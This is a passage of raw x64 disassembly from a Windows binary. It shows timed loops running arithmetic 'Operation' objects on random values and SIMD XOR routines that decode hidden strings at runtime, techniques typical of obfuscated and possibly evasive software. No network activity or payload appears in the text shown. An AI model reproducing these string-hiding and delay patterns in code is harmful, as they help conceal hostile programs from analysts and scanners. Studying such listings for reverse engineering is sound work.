lea rcx, [rsp + 0x408]
call fcn.140162250
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1b8], rcx
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0xca0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1b8]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x408]
call fcn.140158cc0
lea rcx, [rsp + 0x410]
call fcn.140162280
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1c0], rcx
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0xca0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1c0]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x410]
call fcn.140158cc0
lea rcx, [rsp + 0x418]
call fcn.1401622b0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1c8], rcx
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0xca0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1c8]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x418]
call fcn.140158cc0
lea rcx, [rsp + 0x420]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x1d0]
call fcn.140119a00
test al, al
jns 0x14015007c
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x4e20]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140162040
mov rbx, qword [rsp + 0xca8]
sub rbx, qword [rsp + 0xca0]
sar rbx, 3
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140162040
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xca0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140162040
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xdb0]
call fcn.1401622e0
movaps xmm5, xmm0
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xdb0]
call fcn.1401622e0
movaps xmm1, xmm5
call fcn.1401198d0
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xdb0]
call fcn.1401622e0
movaps xmm1, xmm15
call fcn.1401b2500
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xdb0]
call fcn.1401622e0
call fcn.1401cf820
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1100]
call fcn.1401321c0
nop
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0x1100]
call fcn.140119840
lea rcx, [rsp + 0xe68]
call fcn.140119a50
lea rcx, [rsp + 0xe68]
call fcn.140158e60
nop
movdqa xmmword [rsp + 0x7b0], xmm6
lea r8, [rsp + 0x7b0]
mov rdx, qword [rsp + 0xe70]
mov rcx, qword [rsp + 0xe68]
call fcn.140162360
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xe68]
call fcn.140119950
mov rdx, qword [rsp + 0xe70]
mov rcx, qword [rsp + 0xe68]
call fcn.1401623c0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140162040
mov ebx, eax
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140162040
mov r8d, ebx
mov edx, eax
call fcn.140119a20
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14014ff4a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
test eax, eax
jne 0x14014ff6f
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14014ff7e
call fcn.140162040
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r14d
nop word [rax + rax]
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xc20]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x4e20]
lea rcx, [rsp + 0xdb0]
call fcn.1401622e0
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x4e20]
test bl, 1
jne 0x14014fffb
lea rcx, [rsp + 0xc20]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14015001d
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xdb0]
call fcn.1401622e0
addsd xmm0, xmm13
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x14014ff90
sub rdi, 1
jne 0x14014ff83
lea rcx, [rsp + 0xe68]
call fcn.140158e00
nop
lea rcx, [rsp + 0x1100]
call fcn.1401348f0
sub rsi, 1
jne 0x14014fd40
lea rcx, [rsp + 0x420]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x1d0]
call fcn.140119a00
test al, al
js 0x14014fd30
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xca0]
call fcn.140158d10
lea rdx, [rsp + 0xd710]
lea rcx, [rsp + 0xac0]
call fcn.14012fe40
nop
mov rdx, rax
lea rcx, [0x140203330]
call fcn.140163180
mov rcx, rax
call fcn.1401631a0
nop
lea rcx, [rsp + 0xac0]
call fcn.1401348f0
lea rcx, [rsp + 0x1160]
call fcn.140156270
lea rdx, [rsp + 0xd710]
lea rcx, [rsp + 0xaa0]
call fcn.14012fe40
nop
mov rdx, rax
lea rcx, [rsp + 0x1160]
call fcn.140156280
nop
lea rcx, [rsp + 0xaa0]
call fcn.1401348f0
lea rdx, [0x140207d40]
lea rcx, [rsp + 0x1160]
call fcn.140163f30
call fcn.14017f98c
mov edx, eax
lea rcx, [rsp + 0x61b0]
call fcn.140158db0
mov dword [rsp + 0xc28], 0xffffff9c
mov dword [rsp + 0xc2c], 0x64
movaps xmm0, xmmword [0x1401ed2c0]
movups xmmword [rsp + 0xdc0], xmm0
mov dword [rsp + 0x40], r14d
movsd qword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x428]
call fcn.140119650
mov rax, qword [rsp + 0x428]
add rax, 0x5f5e100
mov qword [rsp + 0x208], rax
lea rcx, [rsp + 0xcd0]
call fcn.140119a50
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xcd0], xmm0
mov qword [rsp + 0xce0], r14
lea rcx, [rsp + 0x430]
call fcn.1401621c0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1d8], rcx
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0xcd0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1d8]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x430]
call fcn.140158cc0
lea rcx, [rsp + 0x438]
call fcn.1401621f0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1e0], rcx
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0xcd0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1e0]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x438]
call fcn.140158cc0
lea rcx, [rsp + 0x440]
call fcn.140162220
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1e8], rcx
lea rdx, [rsp + 0x1e8]
lea rcx, [rsp + 0xcd0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1e8]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x440]
call fcn.140158cc0
lea rcx, [rsp + 0x448]
call fcn.140162250
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1f0], rcx
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0xcd0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1f0]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x448]
call fcn.140158cc0
lea rcx, [rsp + 0x450]
call fcn.140162280
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1f8], rcx
lea rdx, [rsp + 0x1f8]
lea rcx, [rsp + 0xcd0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1f8]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x450]
call fcn.140158cc0
lea rcx, [rsp + 0x458]
call fcn.1401622b0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x200], rcx
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0xcd0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x200]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x458]
call fcn.140158cc0
lea rcx, [rsp + 0x460]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x208]
call fcn.140119a00
test al, al
jns 0x14015070c
lea rax, [rsp + 0xc28]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x61b0]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
nop dword [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140162040
mov rbx, qword [rsp + 0xcd8]
sub rbx, qword [rsp + 0xcd0]
sar rbx, 3
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140162040
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xcd0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140162040
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xdc0]
call fcn.1401622e0
movaps xmm5, xmm0
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xdc0]
call fcn.1401622e0
movaps xmm1, xmm5
call fcn.1401198d0
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xdc0]
call fcn.1401622e0
movaps xmm1, xmm15
call fcn.1401b2500
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xdc0]
call fcn.1401622e0
call fcn.1401cf820
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x10e0]
call fcn.1401321c0
nop
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0x10e0]
call fcn.140119840
lea rcx, [rsp + 0xee0]
call fcn.140119a50
lea rcx, [rsp + 0xee0]
call fcn.140158e60
nop
movdqa xmmword [rsp + 0x7c0], xmm6
lea r8, [rsp + 0x7c0]
mov rdx, qword [rsp + 0xee8]
mov rcx, qword [rsp + 0xee0]
call fcn.140162360
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xee0]
call fcn.140119950
mov rdx, qword [rsp + 0xee8]
mov rcx, qword [rsp + 0xee0]
call fcn.1401623c0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140162040
mov ebx, eax
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140162040
mov r8d, ebx
mov edx, eax
call fcn.140119a20
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x1401505da
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
test eax, eax
jne 0x1401505ff
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14015060e
call fcn.140162040
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r14d
nop word [rax + rax]
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xc28]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x61b0]
lea rcx, [rsp + 0xdc0]
call fcn.1401622e0
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x61b0]
test bl, 1
jne 0x14015068b
lea rcx, [rsp + 0xc28]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1401506ad
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xdc0]
call fcn.1401622e0
addsd xmm0, xmm13
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140150620
sub rdi, 1
jne 0x140150613
lea rcx, [rsp + 0xee0]
call fcn.140158e00
nop
lea rcx, [rsp + 0x10e0]
call fcn.1401348f0
sub rsi, 1
jne 0x1401503d0
lea rcx, [rsp + 0x460]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x208]
call fcn.140119a00
test al, al
js 0x1401503c0
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xcd0]
call fcn.140158d10
lea rdx, [0x140207dd0]
lea rcx, [rsp + 0x1160]
call fcn.140163f30
lea rdx, [0x140207db0]
lea rcx, [rsp + 0x1160]
call fcn.1401630f0
movups xmm0, xmmword [0x1401ebb00]
movups xmmword [rsp + 0x730], xmm0
movups xmm1, xmmword [0x1401ebb10]
movups xmmword [rsp + 0x740], xmm1
movups xmm0, xmmword [0x1401ebb20]
movups xmmword [rsp + 0x750], xmm0
movups xmm1, xmmword [0x1401ebb30]
movups xmmword [rsp + 0x760], xmm1
movsd xmm0, qword [0x1401ebb40]
movsd qword [rsp + 0x770], xmm0
mov eax, dword [0x1401ebb48]
mov dword [rsp + 0x778], eax
movzx eax, byte [0x1401ebb4c]
mov byte [rsp + 0x77c], al
mov r9d, r14d
mov ebx, 6
cmp r12d, 2
jl 0x1401509d5
movd xmm6, ebx
movd xmm7, r13d
movdqa xmm0, xmmword [str.eeeeeeeeeeeeeeee]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x730]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x1401507e0
cmp r9d, 0x4d
jge 0x140150a42
movsxd rax, r9d
lea r10, [rsp + 0x730]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4d
jl 0x1401509f0
lea rdx, [rsp + 0x730]
lea rcx, [rsp + 0x9c0]
call fcn.1401321c0
nop
lea rcx, [rsp + 0x9c0]
call fcn.140122bd0
nop
lea rcx, [rsp + 0x9c0]
call fcn.1401348f0
lea rdx, [rsp + 0xd710]
lea rcx, [rsp + 0x618]
call fcn.14012fe40
mov r11, rax
movups xmm0, xmmword [str.MXMe]
movups xmmword [rsp + 0x8a0], xmm0
movups xmm1, xmmword [0x1401ec9f0]
movups xmmword [rsp + 0x8b0], xmm1
movups xmm0, xmmword [0x1401eca00]
movups xmmword [rsp + 0x8c0], xmm0
movups xmm1, xmmword [0x1401eca10]
movups xmmword [rsp + 0x8d0], xmm1
movzx eax, byte [0x1401eca20]
mov byte [rsp + 0x8e0], al
mov r9d, r14d
cmp r12d, 2
jl 0x140150cf6
movd xmm6, ebx
movd xmm7, r13d
movdqa xmm0, xmmword [str.eeeeeeeeeeeeeeee]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x8a0]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x40
jl 0x140150b01
cmp r9d, 0x41
jge 0x140150d62
movsxd rax, r9d
lea r10, [rsp + 0x8a0]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x41
jl 0x140150d10
mov r8, r11
lea rdx, [rsp + 0x8a0]
lea rcx, [rsp + 0xa80]
call fcn.140162e60
mov rcx, rax
call fcn.1401324d0
nop
mov rdx, qword [rsp + 0x630]
cmp rdx, 0x10
jb 0x140150dc6
inc rdx
mov rcx, qword [rsp + 0x618]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140150dc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401561cb
call fcn.14019f9e0
mov qword [rsp + 0x628], r14
mov qword [rsp + 0x630], 0xf
mov byte [rsp + 0x618], 0
call fcn.14017f98c
mov dword [rsp + 0x3a84], 0xffffffff
mov dword [rsp + 0x2704], eax
mov rdx, r15
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x2704], eax
inc rdx
cmp rdx, 0x270
jb 0x140150e00
mov dword [rsp + 0x2700], 0x270
mov dword [rsp + 0xbe0], 0xffffff9c
mov dword [rsp + 0xbe4], 0x64
movsd xmm11, qword [0x1401ed1d8]
mov dword [rsp + 0x40], r14d
movsd qword [rsp + 0x50], xmm14
call fcn.14017ad6c
mov rbx, rax
call fcn.14017ad50
cmp rbx, 0x989680
jne 0x140150e74
imul rax, rax, 0x64
jmp 0x140150e8f
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rbx, [rax + 0x5f5e100]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xc00], xmm1
mov qword [rsp + 0xc10], r14
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x468], r14
mov qword [rsp + 0xd8], rax
mov rdx, qword [rsp + 0xc08]
cmp rdx, qword [rsp + 0xc10]
je 0x140150ef6
mov qword [rsp + 0xd8], r14
mov qword [rdx], rax
add qword [rsp + 0xc08], 8
jmp 0x140150f0c
lea r8, [rsp + 0xd8]
lea rcx, [rsp + 0xc00]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x140150f26
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x468]
test rcx, rcx
je 0x140150f3f
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x470], r14
mov qword [rsp + 0xe0], rax
mov rdx, qword [rsp + 0xc08]
cmp rdx, qword [rsp + 0xc10]
je 0x140150f8b
mov qword [rsp + 0xe0], r14
mov qword [rdx], rax
add qword [rsp + 0xc08], 8
jmp 0x140150fa1
lea r8, [rsp + 0xe0]
lea rcx, [rsp + 0xc00]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x140150fbb
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x470]
test rcx, rcx
je 0x140150fd4
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x478], r14
mov qword [rsp + 0xe8], rax
mov rdx, qword [rsp + 0xc08]
cmp rdx, qword [rsp + 0xc10]
je 0x140151020
mov qword [rsp + 0xe8], r14
mov qword [rdx], rax
add qword [rsp + 0xc08], 8
jmp 0x140151036
lea r8, [rsp + 0xe8]
lea rcx, [rsp + 0xc00]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0xe8]
test rcx, rcx
je 0x140151050
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x478]
test rcx, rcx
je 0x140151069
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x480], r14
mov qword [rsp + 0x100], rax
mov rdx, qword [rsp + 0xc08]
cmp rdx, qword [rsp + 0xc10]
je 0x1401510b5
mov qword [rsp + 0x100], r14
mov qword [rdx], rax
add qword [rsp + 0xc08], 8
jmp 0x1401510cb
lea r8, [rsp + 0x100]
lea rcx, [rsp + 0xc00]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0x100]
test rcx, rcx
je 0x1401510e5
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x480]
test rcx, rcx
je 0x1401510fe
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x488], r14
mov qword [rsp + 0x210], rax
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0xc00]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x210]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x488]
call fcn.140158cc0
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x490], r14
mov qword [rsp + 0x108], rax
mov rdx, qword [rsp + 0xc08]
cmp rdx, qword [rsp + 0xc10]
je 0x14015119f
mov qword [rsp + 0x108], r14
mov qword [rdx], rax
add qword [rsp + 0xc08], 8
